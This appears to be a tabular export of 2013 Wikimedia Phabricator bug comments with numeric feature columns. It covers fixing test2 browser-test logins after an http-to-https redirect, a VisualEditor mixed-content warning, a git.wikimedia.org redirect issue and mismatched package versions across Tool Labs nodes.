246666,fix Login method for test2,moving to https reduced the number of failed tests significantly,,,1372392625,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.5,1.0,moving to https reduced the number of failed tests significantly
246663,fix Login method for test2,"$ export MEDIAWIKI_URL=https://test2.wikipedia.org/wiki/
$ bundle exec cucumber --tags @test2.wikipedia.org
...
33 scenarios (7 failed, 26 passed)
164 steps (7 failed, 19 skipped, 138 passed)
11m20.188s",,,1372392591,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.157894736842105,0.6842105263157895,"$ export MEDIAWIKI_URL=URL
$ bundle exec cucumber --tagsSCREEN_NAME.wikipedia.org
...
33 scenarios (7 failed, 26 passed)
164 steps (7 failed, 19 skipped, 138 passed)
11m20.188s"
246660,fix Login method for test2,"Current status:

$ export MEDIAWIKI_URL=http://test2.wikipedia.org/wiki/
$ bundle exec cucumber --tags @test2.wikipedia.org
...
33 scenarios (14 failed, 19 passed)
164 steps (14 failed, 48 skipped, 102 passed)
10m27.891s",,,1372389540,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,0.7142857142857143,"Current status:

$ export MEDIAWIKI_URL=URL
$ bundle exec cucumber --tagsSCREEN_NAME.wikipedia.org
...
33 scenarios (14 failed, 19 passed)
164 steps (14 failed, 48 skipped, 102 passed)
10m27.891s"
246656,fix Login method for test2,I think we still need to fix this in the test2 Jenkins builds though.,,,1372375437,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,I think we still need to fix this in the test2 Jenkins builds though.
246649,fix Login method for test2,"Change 70824 merged by Cmcmahon:
Fix logging in for upload wizard tests

https://gerrit.wikimedia.org/r/70824",,,1372375372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.5625,1.0,"Change 70824 merged by Cmcmahon:
Fix logging in for upload wizard tests

GERRIT_URL"
246644,fix Login method for test2,"Change 70824 had a related patch set uploaded by Zfilipin:
Fix logging in for upload wizard tests

https://gerrit.wikimedia.org/r/70824",,,1372345419,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.476190476190476,1.0,"Change 70824 had a related patch set uploaded by Zfilipin:
Fix logging in for upload wizard tests

GERRIT_URL"
246639,fix Login method for test2,Related URL: https://gerrit.wikimedia.org/r/70824 (Gerrit Change I9ca509a2ee549549540abe53e833a4367bf2a27d),,,1372345417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I9ca509a2ee549549540abe53e833a4367bf2a27d)
246634,fix Login method for test2,"The fix is to set https MEDIAWIKI_URL:

export MEDIAWIKI_URL=https://test2.wikipedia.org/wiki/",,,1372345349,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,0.9230769230769231,"The fix is to set https MEDIAWIKI_URL:

export MEDIAWIKI_URL=URL"
246629,fix Login method for test2,"Looks like the problem is that when the login form is submitted at http://test2.wikipedia.org/wiki/Special:UserLogin user is redirected to a secure page https://test2.wikipedia.org/wiki/Special:CentralLogin/complete

The tests then try to access http://test2.wikipedia.org/wiki/Special:UploadWizard but the user is not logged in via http but via https so ""Not logged in"" error page appears.",,,1372345170,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,6.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,12.0,6.0,4.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6538461538461537,0.7115384615384616,"Looks like the problem is that when the login form is submitted at URL user is redirected to a secure page URL

The tests then try to access URL but the user is not logged in via http but via https so ""Not logged in"" error page appears."
246623,fix Login method for test2,"Failed tests at Jenkins machine:

https://wmf.ci.cloudbees.com/job/browsertests-test2.wikipedia.org-linux-firefox/lastCompletedBuild/testReport/",,,1372342829,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,"Failed tests at Jenkins machine:

URL"
246620,fix Login method for test2,"Failed tests on my machine:

$ bundle exec cucumber --tags @test2.wikipedia.org
Using the default profile...
---.......F............................................F-----........................................F----............F.F-----------------------------------...F-------

(::) failed steps (::)

expected ""No file by this name exists.\nFile usage\nThere are no pages that link to this file."" to match ""No\\ file\\ by\\ this\\ name\\ exists,\\ but\\ you\\ can\\ upload\\ it\\."" (RSpec::Expectations::ExpectationNotMetError)
./features/step_definitions/page_steps.rb:28:in `/^page text should contain (.+)$/'
features/file.feature:12:in `Then page text should contain No file by this name exists, but you can upload it.'

unable to locate element, using {:text=>""Create source"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
(eval):1:in `process_watir_call'
./features/step_definitions/page_steps.rb:6:in `/^I click link Create$/'
./features/step_definitions/math_steps.rb:4:in `/^I am editing page that does not exist$/'
features/math_readonly.feature:7:in `And I am editing page that does not exist'

unable to locate element, using {:text=>""Date and time"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
(eval):1:in `process_watir_call'
./features/step_definitions/preferences_datetime_steps.rb:2:in `/^I click Date and time$/'
features/preferences_datetime_readonly.feature:8:in `And I click Date and time'

unable to locate element, using {:id=>""mwe-upwiz-tutorial"", :tag_name=>""div""} (Watir::Exception::UnknownObjectException)
(eval):1:in `process_watir_call'
./features/step_definitions/upload_wizard_steps.rb:32:in `/^I navigate to Upload Wizard$/'
features/upload_wizard.feature:6:in `When I navigate to Upload Wizard'

unable to locate element, using {:text=>""Edit"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
(eval):1:in `process_watir_call'
./features/step_definitions/visual_editor_steps.rb:36:in `block (2 levels) in <top (required)>'
./features/step_definitions/visual_editor_steps.rb:35:in `/^I edit the page with a string$/'
features/visual_editor.feature:9:in `When I edit the page with a string'

Failing Scenarios:
cucumber features/file.feature:9 # Scenario: Logged-in user goes to file that does not exist
cucumber features/math_readonly.feature:5 # Scenario: Display simple math
cucumber features/preferences_datetime_readonly.feature:5 # Scenario: Preferences Date Time
cucumber features/upload_wizard.feature:8 # Scenario: Navigate to Learn page
cucumber features/visual_editor.feature:7 # Scenario: Basic edit

33 scenarios (5 failed, 4 skipped, 24 passed)
164 steps (5 failed, 51 skipped, 108 passed)
5m30.297s",,,1372342306,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.5,2.0,0.25,0.0,0.0,0.0,2.5,2.0,0.0,0.0,0.0,1.0,0.0,0.5,5.75,0.0,1.5,0.25,0.0,0.0,2.25,0.5,0.0,0.0,0.25,0.0,0.0,2.25,0.5,0.25,0.0,0.25,0.0,0.0,0.0,0.25,0.75,0.0,0.0,1.75,0.0,0.0,0.0,0.75,0.0,18.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.75,0.0,0.75,0.5,11.5,0.0,0.75,2.5,0.0,0.25,0.0,1.5,3.5,0.0,3.5,0.0,1.5,5.75,10.25,0.0,4.5,0.0,1.5,0.0,0.75,0.25,0.0,1.5,0.0,0.0,1.25,5.250255362614913,0.6437372318692544,"Failed tests on my machine:

$ bundle exec cucumber --tagsSCREEN_NAME.wikipedia.org
Using the default profile...
---.......F............................................F-----........................................F----............F.F-----------------------------------...F-------

(::) failed steps (::)

expected ""No file by this name exists.\nFile usage\nThere are no pages that link to this file."" to match ""No\\ file\\ by\\ this\\ name\\ exists,\\ but\\ you\\ can\\ upload\\ it\\."" (RSpec::Expectations::ExpectationNotMetError)
./features/step_definitions/page_steps.rb:28:in CODEThen page text should contain No file by this name exists, but you can upload it.'

unable to locate element, using {:text=>""Create source"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
(eval):1:in CODE/^I click link Create$/'
./features/step_definitions/math_steps.rb:4:in CODEAnd I am editing page that does not exist'

unable to locate element, using {:text=>""Date and time"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
(eval):1:in CODE/^I click Date and time$/'
features/preferences_datetime_readonly.feature:8:in CODEprocess_watir_call'
./features/step_definitions/upload_wizard_steps.rb:32:in CODEWhen I navigate to Upload Wizard'

unable to locate element, using {:text=>""Edit"", :tag_name=>""a""} (Watir::Exception::UnknownObjectException)
(eval):1:in CODEblock (2 levels) in <top (required)>'
./features/step_definitions/visual_editor_steps.rb:35:in CODEWhen I edit the page with a string'

Failing Scenarios:
cucumber features/file.feature:9 # Scenario: Logged-in user goes to file that does not exist
cucumber features/math_readonly.feature:5 # Scenario: Display simple math
cucumber features/preferences_datetime_readonly.feature:5 # Scenario: Preferences Date Time
cucumber features/upload_wizard.feature:8 # Scenario: Navigate to Learn page
cucumber features/visual_editor.feature:7 # Scenario: Basic edit

33 scenarios (5 failed, 4 skipped, 24 passed)
164 steps (5 failed, 51 skipped, 108 passed)
5m30.297s"
246617,fix Login method for test2,"Chris said: ""upload_wizard.feature, math.feature, visual_editor.feature never navigate to a testable page after logging in""",,,1372342284,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.7894736842105265,0.8947368421052632,"Chris said: ""upload_wizard.feature, math.feature, visual_editor.feature never navigate to a testable page after logging in"""
246615,fix Login method for test2,"
Still need to fix all @login tests for test2, e.g. math.feature",,,1372281480,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.916666666666667,1.0,"
Still need to fix allSCREEN_NAME tests for test2, e.g. math.feature"
246609,fix Login method for test2,Related URL: https://gerrit.wikimedia.org/r/70651 (Gerrit Change I69d102ad2d70d272e4a33eb5481f707162b7b2c3),,,1372264743,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I69d102ad2d70d272e4a33eb5481f707162b7b2c3)
246603,fix Login method for test2,Related URL: https://gerrit.wikimedia.org/r/70639 (Gerrit Change I6467cd14ce6a193c45a803c6798c176dcc7a444a),,,1372257678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ejivpq4tcwi66l7olw,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I6467cd14ce6a193c45a803c6798c176dcc7a444a)
51984,VisualEditor: Insecure image links on https,"When I open
https://pt.wikipedia.org/wiki/Jorge_VI_do_Reino_Unido?veaction=edit
I see several warnings like this on Google Chrome:

The page at https://pt.wikipedia.org/wiki/Jorge_VI_do_Reino_Unido?veaction=edit displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/Commons-logo.svg/22px-Commons-logo.svg.png.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371854820,1371855005.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-7ahnfikr3ud3nwuglytr,task_description,resolved,True,c2,1,False,False,True,-10,True,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9318181818181817,0.6363636363636364,"When I open
URL
I see several warnings like this on Google Chrome:

The page at URL displayed insecure content from URL

--------------------------
**Version**: unspecified
**Severity**: normal"
237865,VisualEditor: Insecure image links on https,"

*** This bug has been marked as a duplicate of bug 43015 ***",,,1371855005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ahnfikr3ud3nwuglytr,task_subcomment,,True,c2,1,True,,,-10,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 43015 ***"
51827,redirect http deep links on git.wikimedia.org to https,"Having a http deep link to git.wikimedia.org gets not redirected to the https version.

http://git.wikimedia.org/summary/mediawiki%2Fextensions%2FVisualEditor.git -> 404

http://git.wikimedia.org/ -> https://git.wikimedia.org/

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1371656340,1371666651.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-liuyykl74gfznwh5om62,task_description,resolved,True,c2,1,False,False,True,-10,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,3.7333333333333334,0.6222222222222222,"Having a http deep link to git.wikimedia.org gets not redirected to the https version.

URL -> 404

URL -> URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
253080,redirect http deep links on git.wikimedia.org to https,"

*** This bug has been marked as a duplicate of bug 49305 ***",,,1371666651,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-liuyykl74gfznwh5om62,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49305 ***"
58326,tools-login has different repository than other nodes,"Right now tools-login provide doxygen 1.8 but other nodes only doxygen 1.7

this is not the only inconsistency other packages may have different version as well, it seems that old nodes like tools-exec-01 are using different repository.

This should be somehow resolved, for example we need doxygen 1.8 but on exec nodes we have only 1.7, and what is ever worse I am afraid that some exec nodes provide 1.7 while others provide 1.8

if that is true for other packages too, this may have critical impact for certain jobs which expect same version to exist on all execution nodes

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1383065640,1385144007.0,PHID-USER-ppytiem7rcsbnstfsrvq,False,,False,PHID-TASK-6e5c435b2v7yejeovuwh,task_description,resolved,True,c2,3,True,False,True,8,True,1.5,0.0,0.0,0.5,0.5,10.0,3.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.0,2.0,0.0,5.5,7.5,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,7.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,3.5,0.0,1.5,0.0,0.0,0.5,13.0,2.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,4.0,3.5,3.0,2.0,5.5,0.0,0.0,0.0,0.0,2.5,0.0,4.0,0.0,2.5,7.5,1.5,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,0.5,1.0,0.0,0.0,4.269230769230769,0.7384615384615385,"Right now tools-login provide doxygen 1.8 but other nodes only doxygen 1.7

this is not the only inconsistency other packages may have different version as well, it seems that old nodes like tools-exec-01 are using different repository.

This should be somehow resolved, for example we need doxygen 1.8 but on exec nodes we have only 1.7, and what is ever worse I am afraid that some exec nodes provide 1.7 while others provide 1.8

if that is true for other packages too, this may have critical impact for certain jobs which expect same version to exist on all execution nodes

--------------------------
**Version**: unspecified
**Severity**: critical"
